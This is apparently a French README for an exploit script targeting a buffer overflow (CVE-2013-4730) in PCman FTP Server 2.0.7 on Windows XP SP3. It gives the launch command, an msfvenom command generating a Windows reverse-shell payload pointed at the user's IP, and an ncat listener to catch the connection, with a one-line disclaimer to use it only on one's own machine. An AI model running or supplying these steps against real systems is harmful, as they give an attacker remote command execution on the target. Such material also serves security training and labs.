PCman FTP Server Buffer overflow and Remote Code Execution [CVE-2013-4730]

Un dépassement de tampon très simple utilisant CVE-2013-4730 contre le serveur FTP PCman v.2.0.7

Comment ça marche ?

Ce BoF facile écrase le tampon et exécute le shellcode qui établira une connexion en retour (reverse shell)

Machines vulnérables :

Windows XP SP3 exécutant le serveur FTP PCman version 2.0.7

Lancement

~$ python3 PCman.py <host> <port>

Remplacez le shellcode par le vôtre !!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

Lancer netcat

~$ ncat -lvp <shellcode port>

À utiliser uniquement sur votre propre machine !!